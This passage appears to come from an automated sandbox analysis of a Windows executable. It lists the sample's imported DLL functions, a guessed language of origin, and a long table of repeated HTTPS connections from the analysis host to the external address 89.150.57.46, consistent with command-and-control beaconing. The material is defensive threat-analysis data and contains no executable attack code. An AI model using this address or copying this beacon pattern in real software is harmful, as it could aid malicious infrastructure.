OLEAUT32.dll	VariantChangeType, SysAllocString, SysFreeString, SysAllocStringLen, VariantCopy, VarBstrFromDate, VariantInit, SysStringLen, SystemTimeToVariantTime, VariantTimeToSystemTime, GetErrorInfo, LoadTypeLib, VariantClear
MSIMG32.dll	AlphaBlend, TransparentBlt
SHLWAPI.dll	PathIsUNCW, PathStripToRootW, PathRemoveFileSpecW, StrFormatKBSizeW, PathFindExtensionW, PathFileExistsW, PathFindFileNameW
UxTheme.dll	GetThemeColor, IsAppThemed, GetThemePartSize, GetThemeSysColor, DrawThemeText, DrawThemeParentBackground, OpenThemeData, CloseThemeData, DrawThemeBackground, GetWindowTheme, GetCurrentThemeName, IsThemeBackgroundPartiallyTransparent
OLEACC.dll	LresultFromObject, AccessibleObjectFromWindow, CreateStdAccessibleObject
gdiplus.dll	GdipDisposeImage, GdipGetImageWidth, GdiplusStartup, GdipFree, GdipAlloc, GdiplusShutdown, GdipGetImageHeight, GdipGetImagePixelFormat, GdipGetImagePalette, GdipGetImagePaletteSize, GdipCreateBitmapFromStream, GdipCreateBitmapFromScan0, GdipBitmapLockBits, GdipBitmapUnlockBits, GdipDeleteGraphics, GdipDrawImageI, GdipGetImageGraphicsContext, GdipCreateBitmapFromHBITMAP, GdipCreateFromHDC, GdipCloneImage, GdipDrawImageRectI, GdipSetInterpolationMode
IMM32.dll	ImmReleaseContext, ImmGetOpenStatus, ImmGetContext
WINMM.dll	PlaySoundW
GDI32.dll	GetViewportExtEx, GetObjectType, IntersectClipRect, LineTo, GetStockObject, GetPixel, GetClipBox, ExcludeClipRect, Escape, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePatternBrush, CreatePen, CreateHatchBrush, CreateCompatibleDC, BitBlt, CreateBitmap, GetObjectW, SetTextColor, SetBkColor, DeleteObject, GetDeviceCaps, GetWindowExtEx, CopyMetaFileW, GetTextFaceW, GetViewportOrgEx, GetWindowOrgEx, SetPixelV, SetPaletteEntries, ExtFloodFill, PtInRegion, GetBoundsRect, FrameRgn, FillRgn, RoundRect, OffsetRgn, GetRgnBox, Rectangle, LPtoDP, CreateRoundRectRgn, Polyline, Polygon, CreatePolygonRgn, GetTextColor, Ellipse, CreateEllipticRgn, SetDIBColorTable, CreateDIBSection, StretchBlt, SetPixel, PtVisible, RectVisible, RestoreDC, GetTextCharsetInfo, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetTextAlign, MoveToEx, TextOutW, ExtTextOutW, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateFontIndirectW, GetTextExtentPoint32W, CombineRgn, CreateRectRgnIndirect, PatBlt, SetRectRgn, DPtoLP, GetTextMetricsW, EnumFontFamiliesExW, CreatePalette, GetNearestPaletteIndex, GetPaletteEntries, GetSystemPaletteEntries, RealizePalette, GetBkColor, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesW, CreateDCW
WINSPOOL.DRV	DocumentPropertiesW, OpenPrinterW, ClosePrinter
ADVAPI32.dll	RegCloseKey, RegCreateKeyExW, RegDeleteKeyW, RegOpenKeyExW, RegQueryValueExW, RegDeleteValueW, RegEnumKeyExW, RegSetValueExW, AddAccessAllowedAce, AllocateAndInitializeSid, FreeSid, GetLengthSid, InitializeAcl, InitializeSecurityDescriptor, MakeSelfRelativeSD, SetSecurityDescriptorDacl
SHELL32.dll	SHAppBarMessage, SHBrowseForFolderW, DragFinish, DragQueryFileW, SHGetFileInfoW, ShellExecuteW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetSpecialFolderLocation

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 15:30:59.148650885 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.148693085 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:30:59.148783922 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.160490036 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.160507917 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:30:59.799844980 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:30:59.799927950 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.849994898 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.850018978 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:30:59.851016045 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:30:59.851084948 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.852926016 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:30:59.896123886 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:00.203063011 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:00.203196049 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:00.203310013 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:00.203401089 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:00.203785896 CEST	49699	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:00.203810930 CEST	443	49699	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:02.121978998 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:02.122024059 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:02.122307062 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:02.122473001 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:02.122484922 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:02.741230965 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:02.741327047 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:02.741808891 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:02.741817951 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:02.743102074 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:02.743107080 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:03.147733927 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:03.147802114 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:03.147861958 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:03.147905111 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:03.147914886 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:03.147954941 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:03.147957087 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:03.147999048 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:03.148288012 CEST	49700	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:03.148307085 CEST	443	49700	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:05.086035013 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:05.086138964 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:05.086236954 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:05.086677074 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:05.086710930 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:05.704444885 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:05.704709053 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:05.705590010 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:05.705617905 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:05.707075119 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:05.707088947 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:06.112349033 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:06.112646103 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:06.112802982 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:06.113181114 CEST	49701	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:06.113226891 CEST	443	49701	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:08.070697069 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:08.070739985 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:08.070825100 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:08.071192026 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:08.071206093 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:08.700910091 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:08.701098919 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:08.701695919 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:08.701715946 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:08.703248024 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:08.703253031 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:09.116118908 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:09.116193056 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:09.116328001 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:09.116416931 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:09.116429090 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:09.116463900 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:09.116476059 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:09.116523981 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:09.116873026 CEST	49702	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:09.116890907 CEST	443	49702	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:11.163367987 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:11.163408995 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:11.163482904 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:11.164134979 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:11.164145947 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:11.780147076 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:11.782042980 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:11.782763004 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:11.782772064 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:11.784445047 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:11.784450054 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:12.188647985 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:12.188956976 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:12.189188004 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:12.234337091 CEST	49703	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:12.234368086 CEST	443	49703	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:14.475780010 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:14.475812912 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:14.475871086 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:14.479183912 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:14.479209900 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.106241941 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.106312990 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.106811047 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.106818914 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.108186007 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.108190060 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.522799015 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.522866011 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.522888899 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.522933006 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.522938967 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.522972107 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:15.522975922 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.523010015 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.523540974 CEST	49704	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:15.523555040 CEST	443	49704	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:17.477154970 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:17.477186918 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:17.477473021 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:17.480671883 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:17.480683088 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.094208002 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.094326973 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.095113039 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.095123053 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.104336023 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.104348898 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.502471924 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.502552032 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.502567053 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.502634048 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:18.502661943 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.502748966 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.522366047 CEST	49713	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:18.522382975 CEST	443	49713	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:20.467247009 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:20.467284918 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:20.467391968 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:20.467710018 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:20.467721939 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:21.078707933 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:21.078772068 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:21.079746008 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:21.079754114 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:21.081568956 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:21.081573963 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:21.485718966 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:21.485830069 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:21.485831976 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:21.485944033 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:21.486954927 CEST	49714	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:21.486968994 CEST	443	49714	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:23.433077097 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:23.433109999 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:23.433284998 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:23.433631897 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:23.433644056 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.054799080 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.054903030 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.057507038 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.057518959 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.061714888 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.061722040 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.468878984 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.468945026 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.468998909 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.469036102 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.469059944 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.469072104 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:24.469098091 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.469131947 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.469405890 CEST	49715	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:24.469428062 CEST	443	49715	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:26.399245977 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:26.399312019 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:26.399416924 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:26.399903059 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:26.399940014 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:27.015352011 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:27.015604019 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:27.015966892 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:27.015980959 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:27.017416954 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:27.017426968 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:27.422363043 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:27.422720909 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:27.422801971 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:27.423295021 CEST	49716	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:27.423316002 CEST	443	49716	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:29.427974939 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:29.428011894 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:29.428257942 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:29.428721905 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:29.428734064 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:30.045013905 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:30.045114040 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:30.046247005 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:30.046272993 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:30.048870087 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:30.048882961 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:30.451477051 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:30.451663971 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:30.451760054 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:30.579319000 CEST	49717	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:30.579354048 CEST	443	49717	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:33.817806005 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:33.817847967 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:33.817940950 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:33.818568945 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:33.818598032 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.435663939 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.436024904 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.436491966 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.436505079 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.437891006 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.437896967 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.842950106 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.843091965 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.843133926 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.843199015 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.843216896 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.843266964 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.843272924 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:34.843329906 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.843564034 CEST	49718	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:34.843581915 CEST	443	49718	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:36.770405054 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:36.770479918 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:36.773403883 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:36.773751974 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:36.773787022 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.399153948 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.399259090 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.399836063 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.399863005 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.401452065 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.401465893 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.816653013 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.816793919 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.818249941 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.818316936 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.818337917 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.818361998 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.818408966 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.818499088 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.818572044 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.818608046 CEST	443	49719	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:37.818635941 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:37.818686008 CEST	49719	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:39.756705999 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:39.756733894 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:39.756907940 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:39.757302046 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:39.757316113 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.380568981 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.382889032 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.383382082 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.383392096 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.384851933 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.384857893 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.797818899 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.797930956 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.797941923 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.797951937 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:40.797991991 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.798022032 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.798422098 CEST	49720	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:40.798443079 CEST	443	49720	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:42.739157915 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:42.739203930 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:42.739350080 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:42.739634037 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:42.739643097 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.365936995 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.366028070 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.366780043 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.366795063 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.368504047 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.368514061 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.782335997 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.782411098 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.782422066 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.782466888 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.782468081 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:43.782525063 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.782999039 CEST	49721	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:43.783020020 CEST	443	49721	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:45.730226994 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:45.730321884 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:45.730412960 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:45.730973959 CEST	49722	443	192.168.2.6	89.150.57.46
